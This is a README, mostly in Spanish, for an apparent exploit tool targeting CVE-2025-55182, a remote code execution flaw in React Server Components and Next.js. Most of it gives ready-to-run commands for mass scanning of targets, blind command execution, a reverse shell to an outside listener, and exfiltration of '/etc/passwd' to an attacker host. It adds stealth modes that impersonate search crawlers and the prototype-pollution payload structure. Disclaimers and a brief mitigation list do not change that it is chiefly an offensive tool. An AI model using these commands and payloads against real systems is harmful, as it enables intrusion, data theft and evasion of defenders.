CVE-2025-55182-exp

🔥 Descripción general

CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) en React Server Components (RSC) que afecta a las aplicaciones Next.js que utilizan App Router con Server Actions.

La vulnerabilidad reside en el proceso de deserialización del protocolo Flight, lo que permite a los atacantes lograr la ejecución arbitraria de código mediante la contaminación de prototipos (prototype pollution).

⚠️ Descargo de responsabilidad / 免责声明

SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Cualquier uso ilegal o no autorizado de esta herramienta es responsabilidad exclusiva del usuario. El autor no asume responsabilidad alguna.

本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作，一切后果由使用者自行承担，与本人无关。

Lea el DISCLAIMER.md completo antes de utilizar esta herramienta.

Al utilizar esta herramienta, usted acepta que:

• Ha obtenido la autorización adecuada para cualquier prueba
• Cumplirá con todas las leyes y regulaciones aplicables
• Acepta la plena responsabilidad por sus acciones
• El autor no asume responsabilidad por ningún uso indebido

📋 Versiones afectadas

Componente	Versiones afectadas
react-server-dom-webpack	19.0.0 - 19.2.0
Next.js	15.x, 16.x (App Router + Server Actions)

🛠️ Instalación

# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp

# Install dependencies
pip install requests
pip install requests[socks]  # For SOCKS5 proxy support

📖 Uso

Comprobar un único objetivo

python3 exploit.py http://target:3000 --check

Escaneo por lotes desde un archivo

# Basic batch scan
python3 exploit.py -f targets.txt --check

# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2

# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt

Ejecutar un comando (RCE ciego)

python3 exploit.py http://target:3000 -c "id"

Reverse shell

# Start listener first
nc -lvnp 4444

# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444

Exfiltrar la salida del comando

# Start listener
nc -lvnp 4444

# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

Uso de proxy

python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080

🎭 Modos sigilosos

Modo	Descripción
browser	Simula solicitudes reales de navegador (predeterminado)
crawler	Simula rastreadores de motores de búsqueda (Googlebot, Baiduspider, etc.)
security	Utiliza User-Agents de escáneres de seguridad

🔧 Opciones

Opción	Descripción
target	URL del objetivo (p. ej., http://localhost:3000)
-f, --file	Archivo que contiene las URL de los objetivos (una por línea)
-o, --output	Archivo de salida para los objetivos vulnerables
-c, --command	Comando a ejecutar (a ciegas)
--check	Comprobar si hay vulnerabilidad
--proxy	Proxy SOCKS5 (p. ej., socks5://127.0.0.1:1080)
--stealth	Modo sigiloso: browser, crawler, security
--delay	Retardo entre solicitudes en segundos
--variants	Usar múltiples variantes de payload para una comprobación exhaustiva
--revshell IP PORT	Reverse shell hacia IP:PUERTO
--exfil CMD IP PORT	Ejecutar CMD y enviar la salida mediante POST a IP:PUERTO
-t, --timeout	Tiempo de espera de la solicitud en segundos (predeterminado: 15)

🔬 Detalles técnicos

Mecanismo de la vulnerabilidad

El exploit aprovecha la contaminación de prototipos (prototype pollution) en la deserialización del protocolo Flight:

1. Contaminación de prototipos: Contamina Object.prototype.then mediante "$1:__proto__:then"
2. Acceso al constructor de Function: Establece _formData.get en el constructor Function mediante "$1:constructor:constructor"
3. Inyección de código: Inyecta código malicioso mediante _prefix, que se pasa a Function()

Estructura del payload

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<malicious_code>",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

📁 Estructura de archivos

CVE-2025-55182-exp/
├── exploit.py      # Main exploit script
├── targets.txt     # Target URLs list (one per line)
└── README.md       # This file

📝 Formato de targets.txt

# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000

🛡️ Mitigación

1. Actualice a las últimas versiones parcheadas de react-server-dom-webpack y Next.js
2. Implemente la validación de entradas en Server Actions
3. Use reglas de firewall de aplicaciones web (WAF) para detectar payloads maliciosos del protocolo Flight
4. Supervise la aparición de errores inusuales del lado del servidor (HTTP 500) con mensajes relacionados con prototipos

📜 Licencia

Este proyecto está bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.

---

⚠️ Descargo de responsabilidad legal / 法律免责声明

English

Términos de uso

Al descargar, copiar, instalar o utilizar este software, usted acepta quedar sujeto a los términos de este descargo de responsabilidad.

Propósito previsto

Esta herramienta está diseñada exclusivamente para:

• Pruebas de penetración autorizadas
• Investigación y educación en seguridad
• Evaluación de vulnerabilidades con la autorización adecuada
• Competiciones CTF (Capture The Flag)
• Entornos de laboratorio personales

Uso prohibido

NO DEBERÁ utilizar esta herramienta para:

• Acceso no autorizado a sistemas informáticos
• Cualquier actividad ilegal
• Atacar sistemas sin permiso escrito explícito
• Causar daños a cualquier sistema o dato
• Cualquier actividad que infrinja las leyes locales, estatales, nacionales o internacionales

Sin garantía

ESTE SOFTWARE SE PROPORCIONA «TAL CUAL», SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA. EL/LOS AUTOR(ES) RENUNCIAN A TODAS LAS GARANTÍAS, INCLUYENDO, ENTRE OTRAS:

• COMERCIABILIDAD
• IDONEIDAD PARA UN PROPÓSITO PARTICULAR
• NO INFRACCIÓN

Limitación de responsabilidad